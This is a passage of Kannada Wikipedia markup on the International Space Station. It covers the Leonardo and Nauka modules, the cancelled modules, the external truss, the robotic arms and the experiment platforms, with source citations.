ಕಾರ್ಯಾಚರಣೆ ! ಉಡಾವಣಾ ದಿನಾಂಕ ! ಉಡಾವಣಾ ವಿಧಾನ,ವ್ಯವಸ್ಥೆ ! style="width:100px"| ರಾಷ್ಟ್ರ ! style="width:82px"| ಪ್ರತ್ಯೇಕ ಅವಲೋಕನ |- | ''ಲಿಯೊನಾರ್ಡೊ'' <br><small>(<span class="goog-gtc-fnr-highlight">ಕಾಯಂ</span> ವಿವಿಧೋದ್ದೇಶ ಘಟಕ)</small> | ULF5 |2011 ರ ಫೆಬ್ರವರಿ 3 | ಬಾಹ್ಯಾಕಾಶ ಬಾನಗಾಡಿ ''ಡಿಸ್ಕವರಿ'' , STS-133 | ಇಟಲಿ<small>(ನಿರ್ಮಾಣಗಾರ)</small><br>USA <small>(ಚಾಲಕ)</small> |- | [[File:STS-114 Raffaello module.jpg|80px|alt=A ಇದು NASA ದ ಲೋಗೋವನ್ನು ಹೊಂದಿರುವ ಬೆಳ್ಳಿಯ ಸಿಲಿಂಡರಿನಾಕಾರದ ಘಟಕವಾಗಿದ್ದು, ಇದರ ಮೇಲೆ ಅನೇಕ ಸಂಖ್ಯೆಯ ಇಟಲಿಯನ್ ಸಂಕೇತಗಳನ್ನು ಒಳಗೊಂಡಿದೆ. ಚಿತ್ರದ ಎಡತುದಿಯಲ್ಲಿ ಮತ್ತೊಂದು ಘಟಕ್ಕೆ ಸೇರಿಕೊಂಡಿರುವಂತೆ ತೋರುತ್ತದೆ. ಘಟಕದ ಪ್ರತಿ ಮೂಲೆಗು ಹಳದಿ ಮತ್ತು ಬೆಳ್ಳಿಯ ಬಣ್ಣವನ್ನು ಲೇಪಿಸಲಾಗಿದೆ. ಚಿತ್ರದಲ್ಲಿ ಮುನ್ನೆಲೆಯಲ್ಲಿರುವ ರೋಬಾಟ್ ನ ಕೈ ನೊಂದಿಗೆ ಹಿನ್ನೆಲೆಯಲ್ಲಿರುವ ಭೂಮಿಯನ್ನು ನೋಡಬಹುದಾಗಿದೆ.]] | <ref name="PLM1">{{cite news|url=http://www.nasaspaceflight.com/2009/08/sts-133-five-crew-one-eva-mission-leave-mpm-on-iss|title=STS-133 refined to a five crew, one EVA mission—will leave MPLM on ISS|publisher=NASASpaceflight.com|author=Chris Gebhardt|date=5 August 2009}}</ref><ref name="PLM2">{{cite news|url=http://news.bbc.co.uk/2/hi/science/nature/8226309.stm|title=Europe looks to buy Soyuz craft|publisher=BBC News|last=Amos|first=Jonathan|date=29 August 2009}}</ref><ref>{{cite web|url=http://forum.nasaspaceflight.com/index.php?topic=17437.msg483604#msg483604|publisher=NASASpaceflight.com|accessdate=12 October 2009|title=Shuttle Q&A Part 5|date=27 September 2009}}</ref> |-style="border-bttom: 3px Solid Grey" | | ''ಲಿಯೊನಾರ್ಡೊ'' PMM ಬಿಡಿ ಭಾಗಗಳ ಶೇಖರಣೆ ಮತ್ತು ಸರಬರಾಜಿಗೆ ಸ್ಥಳಾವಕಾಶ ಮಾಡಿಕೊಟ್ಟಿದೆ. ಅಲ್ಲದೇ ಇತರ ಘಟಕಗಳಲ್ಲಿ ವಿಶೇಷವಾಗಿ ''ಕೊಲಂಬಸ್'' ನಲ್ಲಿ ಸ್ಥಳದ ತೆರವಿಗೆ ಮತ್ತು ಮರುಪೂರೈಕೆ ಉದ್ದೇಶಕ್ಕಾಗಿ ಗಗನ ಯಾತ್ರೆಗಳಿಗೆ ದೀರ್ಘಕಾಲಾವಕಾಶ ನೀಡುತ್ತದೆ. ಇಟಲಿಯ ''ಲಿಯೊನಾರ್ಡೊ'' ಎಂಬ ವಿವಿಧೋದ್ದೇಶ ವ್ಯವಸ್ಥಾಪನ ಘಟಕ ವನ್ನು ಶಾಶ್ವತವಾಗಿ ನಿಲ್ದಾಣಕ್ಕೆ ಹೊಂದಿಕೊಂಡಿರುವ ಘಟಕವಾಗಿ ಬದಲಾಯಿಸುವ ಮೂಲಕ PMM ಅನ್ನು ಸೃಷ್ಟಿಸಲಾಯಿತು. ಘಟಕದ ಈ ಆಗಮನವು US ನ ಕಕ್ಷಾ ವಿಭಾಗವು(US ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್) ಸಂಪೂರ್ಣವಾಗಿದೆ ಎಂಬುದನ್ನು ತೋರಿಸುತ್ತದೆ. |- | ''ನೌಕ'' <br><small>(ಲಿಟ್. 'ವಿಜ್ಞಾನ')</small><br><small> (ವಿವಿಧೋದ್ದೇಶ ಪ್ರಯೋಗಾಲಯ ಘಟಕ)</small> | 3R c. | 2011 ರ ಡಿಸೆಂಬರ್ | ಪ್ರೋಟಾನ್-M | ರಷ್ಯಾ |- |[[File:MLM - ISS module.jpg|80px|alt=A ಕಂಪ್ಯೂಟರ್ ನಿಂದ ತಯಾರಿಸಲಾದ ಘಟಕದ ಚಿತ್ರ. ಇದು ಚಲಿಸುವ ಘಟಕವಾಗಿದ್ದು, ಶಂಕುವಿನಾಕಾರದ ಭಾಗದೊಂದಿಗೆ ಮತ್ತು ಒಂದು ತುದಿಯಲ್ಲಿರುವ ವಾಯುಬಂಧದೊಂದಿಗೆ ಬಿಳಿ ಬಣ್ಣದ ನಿರೋಧನದಿಂದ ಆವರಿಸಲ್ಪಟ್ಟಿದೆ. ರೋಬಾಟ್ ನ ಕೈ ಹಿಡಿದುಕೊಂಡಂತೆ ಘಟಕದಿಂದ ಹೊರಚಾಚಿರುವ ನೀಲಿಬಣ್ಣದ ಎರಡು ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳು.ಘಟಕವನ್ನು ಎದ್ದುಕಾಣುವಂತೆ ಮಾಡಲು ಮೊಬ್ಬಾಗಿಸಿದ ISS ನ ಎಲೆಕ್ಟ್ರಿಕಲ್ ಭಾಗಗಳ ಇತರ ಕೆಲವು ತುಣುಕುಗಳನ್ನು ಹಿನ್ನೆಲೆಯಲ್ಲಿ ನೋಡಬಹುದಾಗಿದೆ.]] | <ref name="Manifest" /><ref>{{cite web|url=http://www.khrunichev.ru/khrunichev_eng/live/full_mks.asp?id=13190|archiveurl=https://web.archive.org/web/20070927002737/http://www.khrunichev.ru/khrunichev_eng/live/full_mks.asp?id=13190|archivedate=27 September 2007|publisher=Khrunichev State Research and Production Space Centre|title=FGB-based Multipurpose Lab Module (MLM)|accessdate=31 October 2008}}</ref> |- | | MLM ಎಂಬುದು ISS ನ ಭಾಗವೆಂಬಂತೆ ರಷ್ಯಾದ ಪ್ರಾಥಮಿಕ ಸಂಶೋಧನಾ ಘಟಕವಾಗಿದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ಸಾಮಾನ್ಯವಾದ ಸೂಕ್ಷ್ಮ ಗುರುತ್ವ ಪ್ರಯೋಗಗಳಿಗೆ, ಜೋಡಣೆಗೆ ಮತ್ತು ಸರಕುಗಳನ್ನು ಸರಬರಾಜು ಮಾಡಲು ಬಳಸಲಾಗುತ್ತದೆ. ಘಟಕವು ಸಿಬ್ಬಂದಿ ಕಾರ್ಯ ಮತ್ತು ಇನ್ನುಳಿದ ಖಾಲಿ ಪ್ರದೇಶವನ್ನು ಒದಗಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಇದು ಬ್ಯಾಕ್ ಅಪ್(ನೆರವಿನ) ನಂತಹ ನಿಯಂತ್ರಣಾ ವ್ಯವಸ್ಥೆ ಹೊಂದಿದ್ದು, ಇದನ್ನು ನಿಲ್ದಾಣದ ಸ್ಥಾನಾಂತರ ನಿಯಂತ್ರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. ''ನೌಕೆ'' ಯ ಆಗಮನವು, ಪ್ರಸ್ತುತದ ಜೋಡಣಾ ಯೋಜನೆಯ ಆಧಾರದ ಮೇಲೆ ರಷ್ಯದ ಕಕ್ಷಾ ಭಾಗವನ್ನು ಸಂಪೂರ್ಣಗೊಳಿಸುತ್ತದೆ. ಅಲ್ಲದೇ ಬಹುಶಃ ಇದು ನಿಲ್ದಾಣಕ್ಕೆ ಜೋಡಿಸುವ ಕೊನೆಯ ಪ್ರಮುಖ ಘಟಕವಾಗಿದೆ. |} ====ರದ್ದುಪಡಿಸಲಾದ ಘಟಕಗಳು==== [[File:ISS Crew Return Vehicle.jpg|thumb|The prototype X-38 lifting body, the cancelled ISS Crew Return Vehicle|alt=A ಇದು ಚಿಕ್ಕ ಬಾಹ್ಯಾಕಾಶ ವಿಮಾನವಾಗಿದ್ದು, ಇದರ ಕೆಳಭಾಗಕ್ಕೆ ಕಪ್ಪು ಬಣ್ಣವನ್ನು ಮತ್ತು ಮೇಲ್ಭಾಗಕ್ಕೆ ಬಿಳಿ ಬಣ್ಣವನ್ನು ಲೇಪಿಸಲಾಗಿದೆ. ಇದು ಮೋಡ ಕವಿದ ಆಕಾಶಕ್ಕೆ ಎದುರಾಗಿ ಸಾಗುತ್ತಿದೆ. ಇದರ ಬದಿಯಲ್ಲಿ "ಯುನೈಟೈಡ್ ಸ್ಟೇಟ್ಸ್" ನ ಪದಗಳನ್ನು ಮತ್ತು ನಾಸಾದ ಲೋಗೋವನ್ನು ನೋಡಬಹುದಾಗಿದೆ.]] ISS ನ ಕಾರ್ಯಯೋಜನೆಯ ಸಂದರ್ಭದಲ್ಲಿ ನಿಲ್ದಾಣಕ್ಕಾಗಿ ಯೋಜಿಸಲಾಗಿದ್ದ ಅನೇಕ ಘಟಕಗಳನ್ನು ಬಜೆಟ್ ನ ಅನುದಾನದ ಕೊರತೆಯ ಕಾರಣದಿಂದಾಗಿ ಅಥವಾ, ಘಟಕಗಳು ಅನಾವಶ್ಯಕವಾದವು ಎಂಬ ಕಾರಣಕ್ಕಾಗಿ ಅಥವಾ, 2003 ರ ''ಕೊಲಂಬಿಯಾ'' ವಿನಾಶದ ನಂತರ ನಿಲ್ದಾಣದ ಪುನರ್ವಿನ್ಯಾಸವನ್ನು ಅನುಸರಿಸಿ ರದ್ದುಪಡಿಸಲಾಯಿತು. ರದ್ದುಪಡಿಸಲಾದ ಘಟಕಗಳು ಕೆಳಕಂಡಂತಿವೆ: * ಕೃತಕ ಗುರುತ್ವದ ಬದಲಾಗುತ್ತಿರವ ಮಟ್ಟಗಳಲ್ಲಿ ಪ್ರಯೋಗಗಳನ್ನು ಮಾಡಲು US ಸೆಂಟ್ರಿಫ್ಯೂಜ್ ಅಕಾಮ<ref name="NASASpaceflight.com">{{cite web|url=http://forum.nasaspaceflight.com/forums/thread-view.asp?tid=12560&mid=269666|title=Where is the Centrifuge Accommodation Module (CAM)?|publisher=NASASpaceflight.com|accessdate=12 October 2009|archive-date=21 ಮಾರ್ಚ್ 2012|archive-url=https://www.webcitation.org/66K7qe4tm?url=http://forum.nasaspaceflight.com/index.php?topic=12560.0|url-status=dead}}</ref> ಡೇಷನ್ಸ್ ಮಾಡ್ಯೂಲ್.<ref name="NASASpaceflight.com"/> * US ನ ನಿವಾಸ ಘಟಕ, ಇದು ನಿಲ್ದಾಣದಲ್ಲಿ ವಾಸಯೋಗ್ಯ ಸ್ಥಳವಾಗಿ ಸೇವೆಸಲ್ಲಿಸುತಿತ್ತು. ಈ ವಿಶ್ರಾಂತಿ ಕೇಂದ್ರ ಸ್ಥಳಗಳು ಈಗ ನಿಲ್ದಾಣದಲ್ಲೆಲ್ಲ ವ್ಯಾಪಿಸಿವೆ.<ref>{{cite web|url=http://www.space.com/missionlaunches/060214_iss_module.html|title=NASA Recycles Former ISS Module for Life Support Research|author=Tariq Malik|accessdate=11 March 2009|publisher=Space.com|date=14 February 2006}}</ref> * US ನ ಸಿಬ್ಬಂದಿ ವರ್ಗ ವಾಪಸಾತಿ ವಾಹನ, ನಿಲ್ದಾಣದ ಜೀವರಕ್ಷಾನೌಕೆಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸಿರುತಿತ್ತು; ಇದು ಸೊಯುಜ್ ಬಾಹ್ಯಾಕಾಶನೌಕೆ, ಅದರಲ್ಲಿರುವ ಪ್ರತಿ ಮೂರು ಜನ ಸಿಬ್ಬಂದಿ ಸದಸ್ಯರುಗಳಿಗೆ ಪ್ರಸ್ತುತದಲ್ಲಿ ಒದಗಿಸುತ್ತಿರುವ ಸೇವೆಯಾಗಿದೆ.<ref name="CRV">{{cite web|url=http://esapub.esrin.esa.it/bulletin/bullet101/graf.pdf|title=The X-38 and Crew Return Vehicle Programmes|accessdate=4 October 2009|author=E. D. Graf|date=February 2000|format=PDF|work=ESA Bulletin 101|publisher=European Space Agency}}</ref> * US ನ ತಾತ್ಕಾಲಿಕ ನಿಯಂತ್ರಣ ಘಟಕ ಮತ್ತು ISS ಪ್ರೇರಕಶಕ್ತಿ ಘಟಕ, ಒಂದು ವೇಳೆ ''ಜ್ವೆಜ್ದ'' ದ ಉಡಾವಣೆ ವಿಫಲವಾಗಿದ್ದಲ್ಲಿ ಅದರ ಕಾರ್ಯಗಳನ್ನು ನಿರ್ವಹಿಸಲು ಇವುಗಳನ್ನು ಬಳಸಬೇಕೆಂದು ಉದ್ದೇಶಿಸಲಾಗಿತ್ತು.<ref>{{cite web|title=ICM Interim Control Module|publisher=U.S. Naval Center for Space Technology|url=http://code8200.nrl.navy.mil/icm.html|archiveurl=https://web.archive.org/web/20070208164211/http://code8200.nrl.navy.mil/icm.html|archivedate=8 February 2007}}</ref> * ರಷ್ಯಾದ ಯುನಿವರ್ಸಲ್ ಡಾಕಿಂಗ್ ಘಟಕ, ಇದಕ್ಕೆ ರಷ್ಯಾದ ರದ್ದುಪಡಿಸಲಾದ ಸಂಶೋಧನಾ ಘಟಕಗಳು ಮತ್ತು ಬಾಹ್ಯಾಕಾಶನೌಕೆಗಳನ್ನು ಸೇರ್ಪಡೆ ಮಾಡಲಾಗಿರುತ್ತಿತ್ತು.<ref name="Zak">{{cite web|url=http://www.russianspaceweb.com/iss_russia.html|accessdate=3 October 2009|publisher=russianspaceweb.com|author=Anatoly Zak|title=Russian segment of the ISS}}</ref> * ರಷ್ಯಾದ ಸೈನ್ಸ್ ಪವರ್ ಪ್ಲ್ಯಾಟ್ ಫಾರ್ಮ್, ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ನೊಂದಿಗೆ ITS ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳ ಮೂಲಕ ವಿದ್ಯುತ್ ಸರಬರಾಜನ್ನು ಮಾಡಿರುತ್ತಿತ್ತು.<ref name="Zak" /> * ಎರಡು ರಷ್ಯನ್ ರಿಸರ್ಚ್ ಮಾಡ್ಯೂಲ್(ರಷ್ಯನ್ ಸಂಶೋಧನಾ ಘಟಕಗಳು) ಇವುಗಳನ್ನು ವೈಜ್ಞಾನಿಕ ಪ್ರಯೋಗಗಳಿಗೆ ಬಳಸಲು ಯೋಜಿಸಲಾಗಿತ್ತು.<ref>{{cite web|url=http://www.boeing.com/defense-space/space/spacestation/components/russian_laboratory.html|title=Russian Research Modules|publisher=Boeing|accessdate=21 June 2009}}</ref> ===ಒತ್ತಡಕ್ಕೇರಿಸದ ಘಟಕಗಳು=== [[File:STS-114 Steve Robinson on Canadarm2.jpg|thumb|right|Astronaut Stephen K. Robinson anchored to the end of Canadarm2 during STS-114|alt=An ಬಿಳಿ ಬಣ್ಣದ ಆಕಾಶ ಪೋಷಾಕು ಧರಿಸಿರುವ ಗಗನಯಾತ್ರಿ, ಉದ್ದದ ಕೊನೆಯಲ್ಲಿ ಅಂಟಿಕೊಂಡಿದ್ದಾರೆ, ಬಿಳಿಯ ನಿರೋಧನದಲ್ಲಿ ಆವರಿಸಲ್ಪಟ್ಟ ರೋಬಾಟ್ ಕೈ ಅನ್ನು ಸೇರಿಸಲಾಗಿದೆ.ಭೂಮಿಯ ಕ್ಷಿತಿಜ ಮತ್ತು ಅಂತರಿಕ್ಷದ ಗಾಢಾಂಧಕಾರ ಹಿನ್ನೆಲೆಗಳಾಗಿವೆ.]] ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಘಟಕಗಳ ಜೊತೆಯಲ್ಲಿ ISS ಅಧಿಕ ಸಂಖ್ಯೆಯ ಬಾಹ್ಯ ಘಟಕಗಳನ್ನು ಕೂಡ ಒಳಗೊಂಡಿದೆ. ಇಂಟಿಗ್ರೇಟೆಡ್ ಟ್ರಸ್ ಸ್ಟ್ರಕ್ಚರ್ (ITS) ಸಮಗ್ರ ಆಸರೆ ಕಟ್ಟಿನ ರಚನೆ ಅತ್ಯಂತ ದೊಡ್ಡ ಘಟಕವಾಗಿದ್ದು, ಇಲ್ಲಿಯೇ ನಿಲ್ದಾಣದ ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸೌರ ಸರಣಿಗಳನ್ನು ಮತ್ತು ಶಾಖಪ್ರಸಾರಕಗಳನ್ನು ಜೋಡಿಸಲಾಗಿದೆ.<ref name="Arrays" /> ಇದು ITS 108.5 ಮೀ (356&nbsp;ft) ಉದ್ದದ ವಿನ್ಯಾಸವನ್ನು ರಚಿಸಿರುವ ಹತ್ತು ಪ್ರತ್ಯೇಕ ವಿಭಾಗಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="OnOrbit" /> ಆಲ್ಫ ಮ್ಯಾಗ್ನೆಟಿಕ್ ಸ್ಪೆಕ್ಟ್ರೋಮೀಟರ್ (AMS), ಎಂಬುದು ಅತ್ಯಂತ ಸೂಕ್ಷ್ಮ ಕಣಗಳ ಭೌತಶಾಸ್ತ್ರ ಪ್ರಯೋಗವಾಗಿದ್ದು, ಇದನ್ನು 2011 ರಲ್ಲಿ STS-134 ನ ಮೇಲೆ ಕಳುಹಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಇದನ್ನು ITS ನ ಮೇಲೆ ಬಾಹ್ಯವಾಗಿ ಸ್ಥಾಪಿಸಲಾಗುವುದು. AMS ಕಾಸ್ಮಿಕ್ ಕಿರಣಗಳನ್ನು ಅಳೆಯುತ್ತದೆ, ಜೊತೆಗೆ [[ಡಾರ್ಕ್ ಮ್ಯಾಟರ್]](ಅಜ್ಞಾತ ಕಪ್ಪು ದ್ರವ್ಯ) ಮತ್ತು [[ಪ್ರತಿದ್ರವ್ಯ]]ಗಳ ಸಾಕ್ಷ್ಯಕ್ಕಾಗಿ ಹುಡುಕುತ್ತದೆ.<ref>{{cite web|url=http://ams.cern.ch/|title=The Alpha Magnetic Spectrometer Experiment|publisher=[[CERN]]|date=21 January 2009|accessdate=6 March 2009}}</ref> ITS ಎಂಬುದು ದೂರ ನಿರ್ವಾಹಕ ವ್ಯವಸ್ಥೆಯ ಮೂಲ ಆಧಾರವಾಗಿದೆ. ಇದನ್ನು ಮೊಬೈಲ್ ಸರ್ವೀಸಿಂಗ್ ಸಿಸ್ಟಮ್ (MSS)(ಮೊಬೈಲ್ ಸೇವಾ ವ್ಯವಸ್ಥೆ) ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಇದು ಮೊಬೈಲ್ ಬೇಸ್ಡ್ ಸಿಸ್ಟಮ್ (ಮೊಬೈಲ್ ಆಧಾರಿತ ವ್ಯವಸ್ಥೆ)(MBS) ಅನ್ನು, ಕೆನಡಾರ್ಮ್ 2 ಅನ್ನು, ಮತ್ತು ಸ್ಪೇಷಲ್ ಪರ್ಪಸ್ ಡೆಕ್ಸ್ ಟ್ರಸ್ ಮ್ಯಾನಿಪ್ಯುಲೇಟರ್ ಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತದೆ. ರೋಬಾಟ್ ನ ತೋಳು ಭಾಗವು ನಿಲ್ದಾಣದಲ್ಲಿನ US ವಿಭಾಗದ ಎಲ್ಲಾ ಭಾಗಗಳನ್ನು ತಲುಪಲು ಅವಕಾಶ ನೀಡುವುದಕ್ಕಾಗಿ ಕೆಲವೊಂದು ITS ನ ವಿಭಾಗಗಳಲ್ಲಿ ನಿರ್ಮಿಸಿದ ಕಂಬಿಗಳ ಮೇಲೆ MBS ಉರುಳುತ್ತದೆ.<ref>{{cite web|url=http://www.asc-csa.gc.ca/eng/iss/default.asp|publisher=Canadian Space Agency|title=International Space Station|accessdate=4 October 2009|date=9 March 2006}}</ref> MSS, ಆರ್ಬಿಟರ್ ಬೂಮ್ ಸೆನ್ಸಾರ್ ಸಿಸ್ಟಮ್ ನಿಂದ ಹೆಚ್ಚಾದ ವ್ಯಾಪ್ತಿಯನ್ನು ಹೊಂದಿರುವ ಕಾರಣ, ಅದನ್ನು STS-133 ಯಾತ್ರೆಯ ಸಂದರ್ಭದಲ್ಲಿ ಅಳವಡಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://www.nasaspaceflight.com/2009/01/nasa-approve-leave-obss-permanently-on-iss/|title=NASA approve funding to leave OBSS permanently on the ISS|date=27 January 2009|accessdate=5 October 2009|publisher=NASASpaceflight.com|author=Chris Bergin}}</ref> ಇತರ ಎರಡು ದೂರ ನಿರ್ವಾಹಕ ವ್ಯವಸ್ಥೆಗಳು ನಿಲ್ದಾಣದ ಅಂತಿಮ ವಿನ್ಯಾಸದಲ್ಲಿ ಉಪಸ್ಥಿತವಾಗಿವೆ. ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ಗೆ ಸೇವೆಸಲ್ಲಿಸುವ ಯುರೋಪಿಯನ್ ರೋಬಾಟಿಕ್ ಆರ್ಮ್ (ಯುರೋಪಿನ ರೋಬಾಟ್ ತೋಳು) ಅನ್ನು ವಿವಿಧೋದ್ದೇಶ ಪ್ರಯೋಗಾಲಯ ಘಟಕದ ಜೊತೆಯಲ್ಲಿ ಉಡಾವಣೆ ಮಾಡಲು ಯೋಜಿಸಲಾಗಿದೆ.<ref>{{cite web|url=http://www.esa.int/esaHS/ESAQEI0VMOC_iss_0.html|publisher=ESA|accessdate=4 October 2009|title=ERA: European Robotic Arm|date-16 January 2009}}</ref> JEM ಎಕ್ಸ್ ಪೋಸ್ಡ್ ಫೆಸಿಲಿಟಿಗೆ<ref>{{cite web|url=http://kibo.jaxa.jp/en/about/kibo/rms/|title=Remote Manipulator System:About Kibo|publisher=JAXA|date=29 August 2008|accessdate=4 October 2009|archive-date=20 ಮಾರ್ಚ್ 2008|archive-url=https://web.archive.org/web/20080320035809/http://kibo.jaxa.jp/en/about/kibo/rms/|url-status=dead}}</ref> ಸೇವೆಸಲ್ಲಿಸುವ JEM RMS ಅನ್ನು STS-124ರ ಮೇಲೆ ಉಡಾವಣೆ ಮಾಡಲಾಯಿತು. ಅಲ್ಲದೇ ಇದು JEM ನ ಒತ್ತಡಕ್ಕೇರಿಸಲಾದ ಘಟಕದೊಂದಿಗೆ ಅಂಟಿಕೊಂಡಿರುತ್ತದೆ. ಈ ರೋಬಾಟ್ ಸಹಾಯದ ಜೊತೆಯಲ್ಲಿ ರಷ್ಯಾದ ಎರಡು ''ಸ್ಟ್ರೆಲಾ'' ಕಾರ್ಗೊ ಕ್ರೇನ್ ಗಳನ್ನು, ಆಕಾಶ ನಡಿಗೆಯಲ್ಲಿರುವ ಗಗನಯಾತ್ರಿಗಳನ್ನು ಮತ್ತು ರಷ್ಯನ್ ಆರ್ಬಿಟಲ್ ಸೆಗ್ಮೆಂಟ್ ನ ಒಳಗಿರುವ ಭಾಗಗಳನ್ನು, ಚಲಿಸುವಂತೆ ಮಾಡಲು ಬಳಸಲಾಗುತ್ತದೆ.<ref>{{cite web|url=https://www.nasa.gov/centers/johnson/news/station/2002/iss02-03.txt|date=14 January 2002|accessdate=4 October 2009|publisher=NASA|title=International Space Station Status Report #02-03}}</ref> ನಿಲ್ದಾಣವು ಅದರ ಸಂಪೂರ್ಣ ರೂಪದಲ್ಲಿ ಅನೇಕ ಬಾಹ್ಯ ಕಿರು ಘಟಕಗಳನ್ನು ಒಳಗೊಳ್ಳಬಹುದು.ಉದಾಹರಣೆಗೆ ಮೂರು ಎಕ್ಸ್ ಟ್ರನಲ್ ಸ್ಟೋವೇಜ್ ಫ್ಲಾಟ್ ಫಾರ್ಮ್ಸ್ (ESPs)(ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಮೂರು ಘಟಕಗಳಾಗಿವೆ), ಇದನ್ನು STS-102, STS-114 ಮತ್ತು STS-118 ನ ಮೇಲೆ ಉಡಾವಣೆ ಮಾಡಲಾಗುವುದು ಹಾಗು ಬಿಡಿ ಭಾಗಗಳನ್ನು ಸಂಗ್ರಹಿಸಲು ಇವುಗಳನ್ನು ಬಳಸಲಾಗುವುದು. ನಾಲ್ಕು ExPRESS(ಎಕ್ಸ್ ಪ್ರೆಸ್) ಲಾಜಿಸ್ಟಿಕ್ ಕ್ಯಾರಿಯರ್ (ELCs) ಗಳು, ಬಾಹ್ಯಾಕಾಶದ ನಿರ್ವಾತ ಪ್ರದೇಶದಲ್ಲಿ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಲು ಅವಕಾಶ ನೀಡುತ್ತವೆ. ಅಲ್ಲದೇ ಅಗತ್ಯವಿರುವ ವಿದ್ಯುತ್ ಅನ್ನು ಒದಗಿಸುತ್ತವೆ ಹಾಗು ಸಾಗುತ್ತಿರುವ ಪ್ರಯೋಗದ ದತ್ತಾಂಶವನ್ನು ಸ್ಥಳೀಯವಾಗಿ ಗಣನೆ ಮಾಡುತ್ತದೆ. ELCs 1 ಮತ್ತು 2 ಅನ್ನು STS-129 ರ ಮೇಲೆ 2009 ರ ನವೆಂಬರ್ ನಲ್ಲಿ ತಲುಪಿಸಲಾಗುತ್ತದೆ, ಹಾಗು ELCs 3 ಅನ್ನು ಮತ್ತು 4 ಅನ್ನು STS-134 ರ ಮೇಲೆ 2010 ರ ನವೆಂಬರ್ ನಲ್ಲಿ ಮತ್ತು STS-133 ರ ಮೇಲೆ 2010 ರ ಸೆಪ್ಟೆಂಬರ್ ನಲ್ಲಿ ತಲುಪಿಸಲು ನಿರ್ಧರಿಸಲಾಗಿದೆ.<ref name="Manifest" /><ref>{{cite web|url=https://www.nasa.gov/centers/marshall/news/background/facts/expressrack.html|title=EXPRESS Racks 1 and 2 fact sheet|accessdate=4 October 2009|date=12 April 2008|publisher=NASA}}</ref> ಪ್ರಯೋಗಾಲಯದ ಘಟಕಗಳಿಗೆ ನೇರವಾಗಿ ಜೋಡಿಸಲಾದ ಎರಡು ಹೊರಚಾಚಬಲ್ಲ, ಒಡ್ಡಣೆ ಸೌಲಭ್ಯಗಳಿವೆ(ಎಕ್ಸ್ಪೋಷರ್ ಫೆಸಿಲಿಟಿ): JEM ಒಡ್ಡಣೆ ಸೌಲಭ್ಯ ವು (ಎಕ್ಸ್ ಪೋಸ್ಡ್ ಫೆಸಿಲಿಟಿ) ಜಪಾನೀಯರ ಪ್ರಯೋಗ ಘಟಕದ ಸಂಕೀರ್ಣಕ್ಕೆ ಬಾಹ್ಯ 'ಮುಖಮಂಟಪ' ವಾಗಿ ಸೇವೆಸಲ್ಲಿಸುತ್ತದೆ,<ref>{{cite web|url=http://kibo.jaxa.jp/en/about/kibo/jef/|title=Exposed Facility:About Kibo|publisher=JAXA|date=29 August 2008|accessdate=9 October 2009|archive-date=3 ಆಗಸ್ಟ್ 2009|archive-url=https://web.archive.org/web/20090803102352/http://kibo.jaxa.jp/en/about/kibo/jef/|url-status=dead}}</ref> ಅಲ್ಲದೇ ಯುರೋಪಿಯನ್ ''ಕೊಲಂಬಸ್'' ಪ್ರಯೋಗಾಲಯದಲ್ಲಿರುವ ಸೌಲಭ್ಯವು ವಿದ್ಯುತ್ ಅನ್ನು ಒದಗಿಸುತ್ತದೆ, ಜೊತೆಗೆ ಯುರೋಪಿಯನ್ ಟೆಕ್ನಾಲಜಿ ಎಕ್ಸ್ ಪೋಷರ್ ಫೆಸಿಲಿಟಿ<ref name="NASA">{{cite web|url=https://www.nasa.gov/mission_pages/station/science/experiments/EuTEF.html|title=NASA—European Technology Exposure Facility (EuTEF)|publisher=NASA|date=6 October 2008|accessdate=28 February 2009|archive-date=19 ಅಕ್ಟೋಬರ್ 2008|archive-url=https://web.archive.org/web/20081019013911/http://www.nasa.gov/mission_pages/station/science/experiments/EuTEF.html|url-status=dead}}</ref><ref name="ESA">{{cite web|url=http://www.esa.int/esaMI/Columbus/SEM7ZTEMKBF_0.html|title=ESA—Columbus—European Technology Exposure Facility (EuTEF)|publisher=ESA|date=13 January 2009|accessdate=28 February 2009}}</ref> ಮತ್ತು ಆಟೋಮಿಕ್ ಕ್ಲಾಕ್ ಎನ್ ಸೆಂಬಲ್ ಇನ್ ಸ್ಪೇಸ್ ನಂತಹ ಪ್ರಯೋಗಗಳಿಗೆ ದತ್ತಾಂಶ ಸಂಯೋಜನೆಯನ್ನು ಒದಗಿಸುತ್ತದೆ.<ref>{{cite web|url=http://www.spaceflight.esa.int/projects/index.cfm?act=default.page&level=12&page=829|publisher=ESA|accessdate=9 October 2009|title=Atomic Clock Ensemble in Space (ACES)|archiveurl=https://web.archive.org/web/20090212162511/http://www.spaceflight.esa.int/projects/index.cfm?act=default.page&level=12&page=829|archivedate=12 ಫೆಬ್ರವರಿ 2009|url-status=dead}}</ref> ===ವಿದ್ಯುತ್‌ ಪೂರೈಕೆ=== {{Main|Electrical system of the International Space Station}} [[File:ISS on 20 August 2001.jpg|thumb|alt=The ISS shown orbiting the Earth, with the blackness of space behind. In view are one of the large orange solar array wings at the top, a cluster of pressurised modules below, and four smaller, blue solar arrays projecting from the modules.|2001ರಲ್ಲಿ ISS ,USನ P6 ದ್ಯುತಿವಿದ್ಯುಜ್ಜನಕ ಸರಣಿಗಳ ಜೊತೆಯಲ್ಲಿ, ಜಾರ್ಯ ಮತ್ತು ಜ್ವೆಜ್ದ 